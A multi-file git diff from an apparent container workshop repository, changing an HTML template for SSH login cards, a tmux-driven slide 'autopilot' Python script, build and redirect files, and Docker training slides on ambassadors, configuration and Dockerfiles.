|
||||||
|
table {
|
||||||
|
border-spacing: 0;
|
||||||
|
margin-top: 0.4em;
|
||||||
|
margin-bottom: 0.4em;
|
||||||
|
border-left: 0.8em double grey;
|
||||||
|
padding-left: 0.4em;
|
||||||
|
}
|
||||||
|
|
||||||
|
div {
|
||||||
|
float: left;
|
||||||
|
border: 1px dotted black;
|
||||||
|
padding-top: 1%;
|
||||||
|
padding-bottom: 1%;
|
||||||
|
/* columns * (width+left+right) < 100% */
|
||||||
|
width: 21.5%;
|
||||||
|
padding-left: 1.5%;
|
||||||
|
padding-right: 1.5%;
|
||||||
|
}
|
||||||
|
|
||||||
|
p {
|
||||||
|
margin: 0.4em 0 0.4em 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
img {
|
||||||
|
height: 4em;
|
||||||
|
float: right;
|
||||||
|
margin-right: -0.4em;
|
||||||
|
}
|
||||||
|
|
||||||
|
.logpass {
|
||||||
|
font-family: monospace;
|
||||||
|
font-weight: bold;
|
||||||
|
}
|
||||||
|
|
||||||
|
.pagebreak {
|
||||||
|
page-break-after: always;
|
||||||
|
clear: both;
|
||||||
|
display: block;
|
||||||
|
height: 8px;
|
||||||
|
}
|
||||||
|
</style></head>
|
||||||
|
<body>
|
||||||
|
{% for cluster in clusters %}
|
||||||
|
{% if loop.index0>0 and loop.index0%pagesize==0 %}
|
||||||
|
<span class="pagebreak"></span>
|
||||||
|
{% endif %}
|
||||||
|
<div>
|
||||||
|
|
||||||
|
<p>
|
||||||
|
Here is the connection information to your very own
|
||||||
|
{{ cluster_or_machine }} for this {{ workshop_name }}.
|
||||||
|
You can connect to {{ this_or_each }} VM with any SSH client.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
<img src="{{ image_src }}" />
|
||||||
|
<table>
|
||||||
|
<tr><td>login:</td></tr>
|
||||||
|
<tr><td class="logpass">docker</td></tr>
|
||||||
|
<tr><td>password:</td></tr>
|
||||||
|
<tr><td class="logpass">{{ docker_user_password }}</td></tr>
|
||||||
|
</table>
|
||||||
|
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
Your {{ machine_is_or_machines_are }}:
|
||||||
|
<table>
|
||||||
|
{% for node in cluster %}
|
||||||
|
<tr><td>node{{ loop.index }}:</td><td>{{ node }}</td></tr>
|
||||||
|
{% endfor %}
|
||||||
|
</table>
|
||||||
|
</p>
|
||||||
|
<p>You can find the slides at:
|
||||||
|
<center>{{ url }}</center>
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
{% endfor %}
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
@@ -1,4 +0,0 @@
|
|||||||
This directory will contain symlinks to HTML and PDF files for the cards
|
|
||||||
with the IP address, login, and password for the training environments.
|
|
||||||
|
|
||||||
The file "index.html" is empty on purpose: it prevents listing the files.
|
|
||||||
@@ -1,4 +0,0 @@
|
|||||||
FROM alpine:3.11
|
|
||||||
RUN apk add --no-cache entr py3-pip git zip
|
|
||||||
COPY requirements.txt .
|
|
||||||
RUN pip3 install -r requirements.txt
|
|
||||||
@@ -34,14 +34,6 @@ compile each `foo.yml` file into `foo.yml.html`.
|
|||||||
You can also run `./build.sh forever`: it will monitor the current
|
You can also run `./build.sh forever`: it will monitor the current
|
||||||
directory and rebuild slides automatically when files are modified.
|
directory and rebuild slides automatically when files are modified.
|
||||||
|
|
||||||
If you have problems running `./build.sh` (because of
|
|
||||||
Python dependencies or whatever),
|
|
||||||
you can also run `docker-compose up` in this directory.
|
|
||||||
It will start the `./build.sh forever` script in a container.
|
|
||||||
It will also start a web server exposing the slides
|
|
||||||
(but the slides should also work if you load them from your
|
|
||||||
local filesystem).
|
|
||||||
|
|
||||||
|
|
||||||
## Publishing pipeline
|
## Publishing pipeline
|
||||||
|
|
||||||
@@ -61,4 +53,4 @@ You can run `./slidechecker foo.yml.html` to check for
|
|||||||
missing images and show the number of slides in that deck.
|
missing images and show the number of slides in that deck.
|
||||||
It requires `phantomjs` to be installed. It takes some
|
It requires `phantomjs` to be installed. It takes some
|
||||||
time to run so it is not yet integrated with the publishing
|
time to run so it is not yet integrated with the publishing
|
||||||
pipeline.
|
pipeline.
|
||||||
@@ -1,15 +1 @@
|
|||||||
# Uncomment and/or edit one of the the following lines if necessary.
|
/ /kube-twodays.yml.html 200!
|
||||||
#/ /kube-halfday.yml.html 200
|
|
||||||
#/ /kube-fullday.yml.html 200
|
|
||||||
#/ /kube-twodays.yml.html 200
|
|
||||||
|
|
||||||
# And this allows to do "git clone https://container.training".
|
|
||||||
/info/refs service=git-upload-pack https://github.com/jpetazzo/container.training/info/refs?service=git-upload-pack
|
|
||||||
|
|
||||||
#/dockermastery https://www.udemy.com/course/docker-mastery/?referralCode=1410924A733D33635CCB
|
|
||||||
#/kubernetesmastery https://www.udemy.com/course/kubernetesmastery/?referralCode=7E09090AF9B79E6C283F
|
|
||||||
/dockermastery https://www.udemy.com/course/docker-mastery/?couponCode=SWEETFEBSALEC1
|
|
||||||
/kubernetesmastery https://www.udemy.com/course/kubernetesmastery/?couponCode=SWEETFEBSALEC4
|
|
||||||
|
|
||||||
# Shortlink for the QRCode
|
|
||||||
/q /qrcode.html 200
|
|
||||||
|
|||||||
@@ -26,10 +26,9 @@ IPADDR = None
|
|||||||
class State(object):
|
class State(object):
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self.clipboard = ""
|
|
||||||
self.interactive = True
|
self.interactive = True
|
||||||
self.verify_status = True
|
self.verify_status = False
|
||||||
self.simulate_type = False
|
self.simulate_type = True
|
||||||
self.switch_desktop = False
|
self.switch_desktop = False
|
||||||
self.sync_slides = False
|
self.sync_slides = False
|
||||||
self.open_links = False
|
self.open_links = False
|
||||||
@@ -39,7 +38,6 @@ class State(object):
|
|||||||
|
|
||||||
def load(self):
|
def load(self):
|
||||||
data = yaml.load(open("state.yaml"))
|
data = yaml.load(open("state.yaml"))
|
||||||
self.clipboard = str(data["clipboard"])
|
|
||||||
self.interactive = bool(data["interactive"])
|
self.interactive = bool(data["interactive"])
|
||||||
self.verify_status = bool(data["verify_status"])
|
self.verify_status = bool(data["verify_status"])
|
||||||
self.simulate_type = bool(data["simulate_type"])
|
self.simulate_type = bool(data["simulate_type"])
|
||||||
@@ -53,7 +51,6 @@ class State(object):
|
|||||||
def save(self):
|
def save(self):
|
||||||
with open("state.yaml", "w") as f:
|
with open("state.yaml", "w") as f:
|
||||||
yaml.dump(dict(
|
yaml.dump(dict(
|
||||||
clipboard=self.clipboard,
|
|
||||||
interactive=self.interactive,
|
interactive=self.interactive,
|
||||||
verify_status=self.verify_status,
|
verify_status=self.verify_status,
|
||||||
simulate_type=self.simulate_type,
|
simulate_type=self.simulate_type,
|
||||||
@@ -69,8 +66,6 @@ class State(object):
|
|||||||
state = State()
|
state = State()
|
||||||
|
|
||||||
|
|
||||||
outfile = open("autopilot.log", "w")
|
|
||||||
|
|
||||||
def hrule():
|
def hrule():
|
||||||
return "="*int(subprocess.check_output(["tput", "cols"]))
|
return "="*int(subprocess.check_output(["tput", "cols"]))
|
||||||
|
|
||||||
@@ -90,11 +85,9 @@ class Snippet(object):
|
|||||||
# On single-line snippets, the data follows the method immediately
|
# On single-line snippets, the data follows the method immediately
|
||||||
if '\n' in content:
|
if '\n' in content:
|
||||||
self.method, self.data = content.split('\n', 1)
|
self.method, self.data = content.split('\n', 1)
|
||||||
self.data = self.data.strip()
|
|
||||||
elif ' ' in content:
|
|
||||||
self.method, self.data = content.split(' ', 1)
|
|
||||||
else:
|
else:
|
||||||
self.method, self.data = content, None
|
self.method, self.data = content.split(' ', 1)
|
||||||
|
self.data = self.data.strip()
|
||||||
self.next = None
|
self.next = None
|
||||||
|
|
||||||
def __str__(self):
|
def __str__(self):
|
||||||
@@ -193,7 +186,7 @@ def wait_for_prompt():
|
|||||||
if last_line == "$":
|
if last_line == "$":
|
||||||
# This is a perfect opportunity to grab the node's IP address
|
# This is a perfect opportunity to grab the node's IP address
|
||||||
global IPADDR
|
global IPADDR
|
||||||
IPADDR = re.findall("\[(.*)\]", output, re.MULTILINE)[-1]
|
IPADDR = re.findall("^\[(.*)\]", output, re.MULTILINE)[-1]
|
||||||
return
|
return
|
||||||
# When we are in an alpine container, the prompt will be "/ #"
|
# When we are in an alpine container, the prompt will be "/ #"
|
||||||
if last_line == "/ #":
|
if last_line == "/ #":
|
||||||
@@ -242,8 +235,6 @@ tmux
|
|||||||
|
|
||||||
rm -f /tmp/tmux-{uid}/default && ssh -t -L /tmp/tmux-{uid}/default:/tmp/tmux-1001/default docker@{ipaddr} tmux new-session -As 0
|
rm -f /tmp/tmux-{uid}/default && ssh -t -L /tmp/tmux-{uid}/default:/tmp/tmux-1001/default docker@{ipaddr} tmux new-session -As 0
|
||||||
|
|
||||||
(Or use workshopctl tmux)
|
|
||||||
|
|
||||||
3. If you cannot control a remote tmux:
|
3. If you cannot control a remote tmux:
|
||||||
|
|
||||||
tmux new-session ssh docker@{ipaddr}
|
tmux new-session ssh docker@{ipaddr}
|
||||||
@@ -268,11 +259,26 @@ for slide in re.split("\n---?\n", content):
|
|||||||
slide_classes = slide_classes[0].split(",")
|
slide_classes = slide_classes[0].split(",")
|
||||||
slide_classes = [c.strip() for c in slide_classes]
|
slide_classes = [c.strip() for c in slide_classes]
|
||||||
if excluded_classes & set(slide_classes):
|
if excluded_classes & set(slide_classes):
|
||||||
logging.debug("Skipping excluded slide.")
|
logging.info("Skipping excluded slide.")
|
||||||
continue
|
continue
|
||||||
slides.append(Slide(slide))
|
slides.append(Slide(slide))
|
||||||
|
|
||||||
|
|
||||||
|
def send_keys(data):
|
||||||
|
if state.simulate_type and data[0] != '^':
|
||||||
|
for key in data:
|
||||||
|
if key == ";":
|
||||||
|
key = "\\;"
|
||||||
|
if key == "\n":
|
||||||
|
if interruptible_sleep(1): return
|
||||||
|
subprocess.check_call(["tmux", "send-keys", key])
|
||||||
|
if interruptible_sleep(0.15*random.random()): return
|
||||||
|
if key == "\n":
|
||||||
|
if interruptible_sleep(1): return
|
||||||
|
else:
|
||||||
|
subprocess.check_call(["tmux", "send-keys", data])
|
||||||
|
|
||||||
|
|
||||||
def capture_pane():
|
def capture_pane():
|
||||||
return subprocess.check_output(["tmux", "capture-pane", "-p"]).decode('utf-8')
|
return subprocess.check_output(["tmux", "capture-pane", "-p"]).decode('utf-8')
|
||||||
|
|
||||||
@@ -282,7 +288,7 @@ setup_tmux_and_ssh()
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
state.load()
|
state.load()
|
||||||
logging.debug("Successfully loaded state from file.")
|
logging.info("Successfully loaded state from file.")
|
||||||
# Let's override the starting state, so that when an error occurs,
|
# Let's override the starting state, so that when an error occurs,
|
||||||
# we can restart the auto-tester and then single-step or debug.
|
# we can restart the auto-tester and then single-step or debug.
|
||||||
# (Instead of running again through the same issue immediately.)
|
# (Instead of running again through the same issue immediately.)
|
||||||
@@ -291,7 +297,6 @@ except Exception as e:
|
|||||||
logging.exception("Could not load state from file.")
|
logging.exception("Could not load state from file.")
|
||||||
logging.warning("Using default values.")
|
logging.warning("Using default values.")
|
||||||
|
|
||||||
|
|
||||||
def move_forward():
|
def move_forward():
|
||||||
state.snippet += 1
|
state.snippet += 1
|
||||||
if state.snippet > len(slides[state.slide].snippets):
|
if state.snippet > len(slides[state.slide].snippets):
|
||||||
@@ -315,147 +320,10 @@ def check_bounds():
|
|||||||
state.slide = len(slides)-1
|
state.slide = len(slides)-1
|
||||||
|
|
||||||
|
|
||||||
##########################################################
|
|
||||||
# All functions starting with action_ correspond to the
|
|
||||||
# code to be executed when seeing ```foo``` blocks in the
|
|
||||||
# input. ```foo``` would call action_foo(state, snippet).
|
|
||||||
##########################################################
|
|
||||||
|
|
||||||
|
|
||||||
def send_keys(keys):
|
|
||||||
subprocess.check_call(["tmux", "send-keys", keys])
|
|
||||||
|
|
||||||
# Send a single key.
|
|
||||||
# Useful for special keys, e.g. tmux interprets these strings:
|
|
||||||
# ^C (and all other sequences starting with a caret)
|
|
||||||
# Space
|
|
||||||
# ... and many others (check tmux manpage for details).
|
|
||||||
def action_key(state, snippet):
|
|
||||||
send_keys(snippet.data)
|
|
||||||
|
|
||||||
|
|
||||||
# Send multiple keys.
|
|
||||||
# If keystroke simulation is off, all keys are sent at once.
|
|
||||||
# If keystroke simulation is on, keys are sent one by one, with a delay between them.
|
|
||||||
def action_keys(state, snippet, keys=None):
|
|
||||||
if keys is None:
|
|
||||||
keys = snippet.data
|
|
||||||
if not state.simulate_type:
|
|
||||||
send_keys(keys)
|
|
||||||
else:
|
|
||||||
for key in keys:
|
|
||||||
if key == ";":
|
|
||||||
key = "\\;"
|
|
||||||
if key == "\n":
|
|
||||||
if interruptible_sleep(1): return
|
|
||||||
send_keys(key)
|
|
||||||
if interruptible_sleep(0.15*random.random()): return
|
|
||||||
if key == "\n":
|
|
||||||
if interruptible_sleep(1): return
|
|
||||||
|
|
||||||
|
|
||||||
def action_hide(state, snippet):
|
|
||||||
if state.run_hidden:
|
|
||||||
action_bash(state, snippet)
|
|
||||||
|
|
||||||
|
|
||||||
def action_bash(state, snippet):
|
|
||||||
data = snippet.data
|
|
||||||
# Make sure that we're ready
|
|
||||||
wait_for_prompt()
|
|
||||||
# Strip leading spaces
|
|
||||||
data = re.sub("\n +", "\n", data)
|
|
||||||
# Remove backticks (they are used to highlight sections)
|
|
||||||
data = data.replace('`', '')
|
|
||||||
# Add "RETURN" at the end of the command :)
|
|
||||||
data += "\n"
|
|
||||||
# Send command
|
|
||||||
action_keys(state, snippet, data)
|
|
||||||
# Force a short sleep to avoid race condition
|
|
||||||
time.sleep(0.5)
|
|
||||||
if snippet.next and snippet.next.method == "wait":
|
|
||||||
wait_for_string(snippet.next.data)
|
|
||||||
elif snippet.next and snippet.next.method == "longwait":
|
|
||||||
wait_for_string(snippet.next.data, 10*TIMEOUT)
|
|
||||||
else:
|
|
||||||
wait_for_prompt()
|
|
||||||
# Verify return code
|
|
||||||
check_exit_status()
|
|
||||||
|
|
||||||
|
|
||||||
def action_copy(state, snippet):
|
|
||||||
screen = capture_pane()
|
|
||||||
matches = re.findall(snippet.data, screen, flags=re.DOTALL)
|
|
||||||
if len(matches) == 0:
|
|
||||||
raise Exception("Could not find regex {} in output.".format(snippet.data))
|
|
||||||
# Arbitrarily get the most recent match
|
|
||||||
match = matches[-1]
|
|
||||||
# Remove line breaks (like a screen copy paste would do)
|
|
||||||
match = match.replace('\n', '')
|
|
||||||
logging.debug("Copied {} to clipboard.".format(match))
|
|
||||||
state.clipboard = match
|
|
||||||
|
|
||||||
|
|
||||||
def action_paste(state, snippet):
|
|
||||||
logging.debug("Pasting {} from clipboard.".format(state.clipboard))
|
|
||||||
action_keys(state, snippet, state.clipboard)
|
|
||||||
|
|
||||||
|
|
||||||
def action_check(state, snippet):
|
|
||||||
wait_for_prompt()
|
|
||||||
check_exit_status()
|
|
||||||
|
|
||||||
|
|
||||||
def action_open(state, snippet):
|
|
||||||
# Cheap way to get node1's IP address
|
|
||||||
screen = capture_pane()
|
|
||||||
url = snippet.data.replace("/node1", "/{}".format(IPADDR))
|
|
||||||
# This should probably be adapted to run on different OS
|
|
||||||
if state.open_links:
|
|
||||||
subprocess.check_output(["xdg-open", url])
|
|
||||||
focus_browser()
|
|
||||||
if state.interactive:
|
|
||||||
print("Press any key to continue to next step...")
|
|
||||||
click.getchar()
|
|
||||||
|
|
||||||
|
|
||||||
def action_tmux(state, snippet):
|
|
||||||
subprocess.check_call(["tmux"] + snippet.data.split())
|
|
||||||
|
|
||||||
|
|
||||||
def action_unknown(state, snippet):
|
|
||||||
logging.warning("Unknown method {}: {!r}".format(snippet.method, snippet.data))
|
|
||||||
|
|
||||||
|
|
||||||
def run_snippet(state, snippet):
|
|
||||||
logging.info("Running with method {}: {}".format(snippet.method, snippet.data))
|
|
||||||
try:
|
|
||||||
action = globals()["action_"+snippet.method]
|
|
||||||
except KeyError:
|
|
||||||
action = action_unknown
|
|
||||||
try:
|
|
||||||
action(state, snippet)
|
|
||||||
result = "OK"
|
|
||||||
except:
|
|
||||||
result = "ERR"
|
|
||||||
logging.exception("While running method {} with {!r}".format(snippet.method, snippet.data))
|
|
||||||
# Try to recover
|
|
||||||
try:
|
|
||||||
wait_for_prompt()
|
|
||||||
except:
|
|
||||||
subprocess.check_call(["tmux", "new-window"])
|
|
||||||
wait_for_prompt()
|
|
||||||
outfile.write("{} SLIDE={} METHOD={} DATA={!r}\n".format(result, state.slide, snippet.method, snippet.data))
|
|
||||||
outfile.flush()
|
|
||||||
|
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
state.save()
|
state.save()
|
||||||
slide = slides[state.slide]
|
slide = slides[state.slide]
|
||||||
if state.snippet and state.snippet <= len(slide.snippets):
|
snippet = slide.snippets[state.snippet-1] if state.snippet else None
|
||||||
snippet = slide.snippets[state.snippet-1]
|
|
||||||
else:
|
|
||||||
snippet = None
|
|
||||||
click.clear()
|
click.clear()
|
||||||
print("[Slide {}/{}] [Snippet {}/{}] [simulate_type:{}] [verify_status:{}] "
|
print("[Slide {}/{}] [Snippet {}/{}] [simulate_type:{}] [verify_status:{}] "
|
||||||
"[switch_desktop:{}] [sync_slides:{}] [open_links:{}] [run_hidden:{}]"
|
"[switch_desktop:{}] [sync_slides:{}] [open_links:{}] [run_hidden:{}]"
|
||||||
@@ -517,10 +385,7 @@ while True:
|
|||||||
# continue until next timeout
|
# continue until next timeout
|
||||||
state.interactive = False
|
state.interactive = False
|
||||||
elif command in ("y", "\r", " "):
|
elif command in ("y", "\r", " "):
|
||||||
if snippet:
|
if not snippet:
|
||||||
run_snippet(state, snippet)
|
|
||||||
move_forward()
|
|
||||||
else:
|
|
||||||
# Advance to next snippet
|
# Advance to next snippet
|
||||||
# Advance until a slide that has snippets
|
# Advance until a slide that has snippets
|
||||||
while not slides[state.slide].snippets:
|
while not slides[state.slide].snippets:
|
||||||
@@ -530,5 +395,59 @@ while True:
|
|||||||
break
|
break
|
||||||
# And then advance to the snippet
|
# And then advance to the snippet
|
||||||
move_forward()
|
move_forward()
|
||||||
|
continue
|
||||||
|
method, data = snippet.method, snippet.data
|
||||||
|
logging.info("Running with method {}: {}".format(method, data))
|
||||||
|
if method == "keys":
|
||||||
|
send_keys(data)
|
||||||
|
elif method == "bash" or (method == "hide" and state.run_hidden):
|
||||||
|
# Make sure that we're ready
|
||||||
|
wait_for_prompt()
|
||||||
|
# Strip leading spaces
|
||||||
|
data = re.sub("\n +", "\n", data)
|
||||||
|
# Remove backticks (they are used to highlight sections)
|
||||||
|
data = data.replace('`', '')
|
||||||
|
# Add "RETURN" at the end of the command :)
|
||||||
|
data += "\n"
|
||||||
|
# Send command
|
||||||
|
send_keys(data)
|
||||||
|
# Force a short sleep to avoid race condition
|
||||||
|
time.sleep(0.5)
|
||||||
|
if snippet.next and snippet.next.method == "wait":
|
||||||
|
wait_for_string(snippet.next.data)
|
||||||
|
elif snippet.next and snippet.next.method == "longwait":
|
||||||
|
wait_for_string(snippet.next.data, 10*TIMEOUT)
|
||||||
|
else:
|
||||||
|
wait_for_prompt()
|
||||||
|
# Verify return code
|
||||||
|
check_exit_status()
|
||||||
|
elif method == "copypaste":
|
||||||
|
screen = capture_pane()
|
||||||
|
matches = re.findall(data, screen, flags=re.DOTALL)
|
||||||
|
if len(matches) == 0:
|
||||||
|
raise Exception("Could not find regex {} in output.".format(data))
|
||||||
|
# Arbitrarily get the most recent match
|
||||||
|
match = matches[-1]
|
||||||
|
# Remove line breaks (like a screen copy paste would do)
|
||||||
|
match = match.replace('\n', '')
|
||||||
|
send_keys(match + '\n')
|
||||||
|
# FIXME: we should factor out the "bash" method
|
||||||
|
wait_for_prompt()
|
||||||
|
check_exit_status()
|
||||||
|
elif method == "open":
|
||||||
|
# Cheap way to get node1's IP address
|
||||||
|
screen = capture_pane()
|
||||||
|
url = data.replace("/node1", "/{}".format(IPADDR))
|
||||||
|
# This should probably be adapted to run on different OS
|
||||||
|
if state.open_links:
|
||||||
|
subprocess.check_output(["xdg-open", url])
|
||||||
|
focus_browser()
|
||||||
|
if state.interactive:
|
||||||
|
print("Press any key to continue to next step...")
|
||||||
|
click.getchar()
|
||||||
|
else:
|
||||||
|
logging.warning("Unknown method {}: {!r}".format(method, data))
|
||||||
|
move_forward()
|
||||||
|
|
||||||
else:
|
else:
|
||||||
logging.warning("Unknown command {}.".format(command))
|
logging.warning("Unknown command {}.".format(command))
|
||||||
|
|||||||
@@ -14,7 +14,6 @@ once)
|
|||||||
./appendcheck.py $YAML.html
|
./appendcheck.py $YAML.html
|
||||||
done
|
done
|
||||||
fi
|
fi
|
||||||
zip -qr slides.zip . && echo "Created slides.zip archive."
|
|
||||||
;;
|
;;
|
||||||
|
|
||||||
forever)
|
forever)
|
||||||
|
|||||||
@@ -150,84 +150,21 @@ Different deployments will use different underlying technologies.
|
|||||||
* Ad-hoc deployments can use a master-less discovery protocol
|
* Ad-hoc deployments can use a master-less discovery protocol
|
||||||
like avahi to register and discover services.
|
like avahi to register and discover services.
|
||||||
* It is also possible to do one-shot reconfiguration of the
|
* It is also possible to do one-shot reconfiguration of the
|
||||||
ambassadors. It is slightly less dynamic but has far fewer
|
ambassadors. It is slightly less dynamic but has much less
|
||||||
requirements.
|
requirements.
|
||||||
* Ambassadors can be used in addition to, or instead of, overlay networks.
|
* Ambassadors can be used in addition to, or instead of, overlay networks.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Service meshes
|
## Section summary
|
||||||
|
|
||||||
* A service mesh is a configurable network layer.
|
We've learned how to:
|
||||||
|
|
||||||
* It can provide service discovery, high availability, load balancing, observability...
|
* Understand the ambassador pattern and what it is used for (service portability).
|
||||||
|
|
||||||
* Service meshes are particularly useful for microservices applications.
|
For more information about the ambassador pattern, including demos on Swarm and ECS:
|
||||||
|
|
||||||
* Service meshes are often implemented as proxies.
|
* AWS re:invent 2015 [DVO317](https://www.youtube.com/watch?v=7CZFpHUPqXw)
|
||||||
|
|
||||||
* Applications connect to the service mesh, which relays the connection where needed.
|
* [SwarmWeek video about Swarm+Compose](https://youtube.com/watch?v=qbIvUvwa6As)
|
||||||
|
|
||||||
*Does that sound familiar?*
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Ambassadors and service meshes
|
|
||||||
|
|
||||||
* When using a service mesh, a "sidecar container" is often used as a proxy
|
|
||||||
|
|
||||||
* Our services connect (transparently) to that sidecar container
|
|
||||||
|
|
||||||
* That sidecar container figures out where to forward the traffic
|
|
||||||
|
|
||||||
... Does that sound familiar?
|
|
||||||
|
|
||||||
(It should, because service meshes are essentially app-wide or cluster-wide ambassadors!)
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Some popular service meshes
|
|
||||||
|
|
||||||
... And related projects:
|
|
||||||
|
|
||||||
* [Consul Connect](https://www.consul.io/docs/connect/index.html)
|
|
||||||
<br/>
|
|
||||||
Transparently secures service-to-service connections with mTLS.
|
|
||||||
|
|
||||||
* [Gloo](https://gloo.solo.io/)
|
|
||||||
<br/>
|
|
||||||
API gateway that can interconnect applications on VMs, containers, and serverless.
|
|
||||||
|
|
||||||
* [Istio](https://istio.io/)
|
|
||||||
<br/>
|
|
||||||
A popular service mesh.
|
|
||||||
|
|
||||||
* [Linkerd](https://linkerd.io/)
|
|
||||||
<br/>
|
|
||||||
Another popular service mesh.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Learning more about service meshes
|
|
||||||
|
|
||||||
A few blog posts about service meshes:
|
|
||||||
|
|
||||||
* [Containers, microservices, and service meshes](http://jpetazzo.github.io/2019/05/17/containers-microservices-service-meshes/)
|
|
||||||
<br/>
|
|
||||||
Provides historical context: how did we do before service meshes were invented?
|
|
||||||
|
|
||||||
* [Do I Need a Service Mesh?](https://www.nginx.com/blog/do-i-need-a-service-mesh/)
|
|
||||||
<br/>
|
|
||||||
Explains the purpose of service meshes. Illustrates some NGINX features.
|
|
||||||
|
|
||||||
* [Do you need a service mesh?](https://www.oreilly.com/ideas/do-you-need-a-service-mesh)
|
|
||||||
<br/>
|
|
||||||
Includes high-level overview and definitions.
|
|
||||||
|
|
||||||
* [What is Service Mesh and Why Do We Need It?](https://containerjournal.com/2018/12/12/what-is-service-mesh-and-why-do-we-need-it/)
|
|
||||||
<br/>
|
|
||||||
Includes a step-by-step demo of Linkerd.
|
|
||||||
|
|
||||||
And a video:
|
|
||||||
|
|
||||||
* [What is a Service Mesh, and Do I Need One When Developing Microservices?](https://www.datawire.io/envoyproxy/service-mesh/)
|
|
||||||
|
|||||||
@@ -36,7 +36,7 @@ docker run jpetazzo/hamba 80 www1:80 www2:80
|
|||||||
|
|
||||||
* Appropriate for mandatory parameters (without which the service cannot start).
|
* Appropriate for mandatory parameters (without which the service cannot start).
|
||||||
|
|
||||||
* Convenient for "toolbelt" services instantiated many times.
|
* Convenient for "toolbelt" services instanciated many times.
|
||||||
|
|
||||||
(Because there is no extra step: just run it!)
|
(Because there is no extra step: just run it!)
|
||||||
|
|
||||||
@@ -63,7 +63,7 @@ docker run -e ELASTICSEARCH_URL=http://es42:9201/ kibana
|
|||||||
|
|
||||||
* Appropriate for optional parameters (since the image can provide default values).
|
* Appropriate for optional parameters (since the image can provide default values).
|
||||||
|
|
||||||
* Also convenient for services instantiated many times.
|
* Also convenient for services instanciated many times.
|
||||||
|
|
||||||
(It's as easy as command-line parameters.)
|
(It's as easy as command-line parameters.)
|
||||||
|
|
||||||
@@ -98,13 +98,13 @@ COPY prometheus.conf /etc
|
|||||||
|
|
||||||
* Allows arbitrary customization and complex configuration files.
|
* Allows arbitrary customization and complex configuration files.
|
||||||
|
|
||||||
* Requires writing a configuration file. (Obviously!)
|
* Requires to write a configuration file. (Obviously!)
|
||||||
|
|
||||||
* Requires building an image to start the service.
|
* Requires to build an image to start the service.
|
||||||
|
|
||||||
* Requires rebuilding the image to reconfigure the service.
|
* Requires to rebuild the image to reconfigure the service.
|
||||||
|
|
||||||
* Requires rebuilding the image to upgrade the service.
|
* Requires to rebuild the image to upgrade the service.
|
||||||
|
|
||||||
* Configured images can be stored in registries.
|
* Configured images can be stored in registries.
|
||||||
|
|
||||||
@@ -132,11 +132,11 @@ docker run -v appconfig:/etc/appconfig myapp
|
|||||||
|
|
||||||
* Allows arbitrary customization and complex configuration files.
|
* Allows arbitrary customization and complex configuration files.
|
||||||
|
|
||||||
* Requires creating a volume for each different configuration.
|
* Requires to create a volume for each different configuration.
|
||||||
|
|
||||||
* Services with identical configurations can use the same volume.
|
* Services with identical configurations can use the same volume.
|
||||||
|
|
||||||
* Doesn't require building / rebuilding an image when upgrading / reconfiguring.
|
* Doesn't require to build / rebuild an image when upgrading / reconfiguring.
|
||||||
|
|
||||||
* Configuration can be generated or edited through another container.
|
* Configuration can be generated or edited through another container.
|
||||||
|
|
||||||
@@ -198,4 +198,4 @@ E.g.:
|
|||||||
|
|
||||||
- read the secret on stdin when the service starts,
|
- read the secret on stdin when the service starts,
|
||||||
|
|
||||||
- pass the secret using an API endpoint.
|
- pass the secret using an API endpoint.
|
||||||
@@ -144,10 +144,6 @@ At a first glance, it looks like this would be particularly useful in scripts.
|
|||||||
However, if we want to start a container and get its ID in a reliable way,
|
However, if we want to start a container and get its ID in a reliable way,
|
||||||
it is better to use `docker run -d`, which we will cover in a bit.
|
it is better to use `docker run -d`, which we will cover in a bit.
|
||||||
|
|
||||||
(Using `docker ps -lq` is prone to race conditions: what happens if someone
|
|
||||||
else, or another program or script, starts another container just before
|
|
||||||
we run `docker ps -lq`?)
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## View the logs of a container
|
## View the logs of a container
|
||||||
@@ -257,7 +253,7 @@ $ docker kill 068 57ad
|
|||||||
The `stop` and `kill` commands can take multiple container IDs.
|
The `stop` and `kill` commands can take multiple container IDs.
|
||||||
|
|
||||||
Those containers will be terminated immediately (without
|
Those containers will be terminated immediately (without
|
||||||
the 10-second delay).
|
the 10 seconds delay).
|
||||||
|
|
||||||
Let's check that our containers don't show up anymore:
|
Let's check that our containers don't show up anymore:
|
||||||
|
|
||||||
|
|||||||
@@ -131,12 +131,6 @@ Sending build context to Docker daemon 2.048 kB
|
|||||||
|
|
||||||
* Be careful (or patient) if that directory is big and your link is slow.
|
* Be careful (or patient) if that directory is big and your link is slow.
|
||||||
|
|
||||||
* You can speed up the process with a [`.dockerignore`](https://docs.docker.com/engine/reference/builder/#dockerignore-file) file
|
|
||||||
|
|
||||||
* It tells docker to ignore specific files in the directory
|
|
||||||
|
|
||||||
* Only ignore files that you won't need in the build context!
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Executing each step
|
## Executing each step
|
||||||
@@ -222,63 +216,21 @@ f9e8f1642759 About an hour ago /bin/sh -c apt-get install fi 1.627 MB
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
class: extra-details
|
## Introducing JSON syntax
|
||||||
|
|
||||||
## Why `sh -c`?
|
Most Dockerfile arguments can be passed in two forms:
|
||||||
|
|
||||||
* On UNIX, to start a new program, we need two system calls:
|
* plain string:
|
||||||
|
|
||||||
- `fork()`, to create a new child process;
|
|
||||||
|
|
||||||
- `execve()`, to replace the new child process with the program to run.
|
|
||||||
|
|
||||||
* Conceptually, `execve()` works like this:
|
|
||||||
|
|
||||||
`execve(program, [list, of, arguments])`
|
|
||||||
|
|
||||||
* When we run a command, e.g. `ls -l /tmp`, something needs to parse the command.
|
|
||||||
|
|
||||||
(i.e. split the program and its arguments into a list.)
|
|
||||||
|
|
||||||
* The shell is usually doing that.
|
|
||||||
|
|
||||||
(It also takes care of expanding environment variables and special things like `~`.)
|
|
||||||
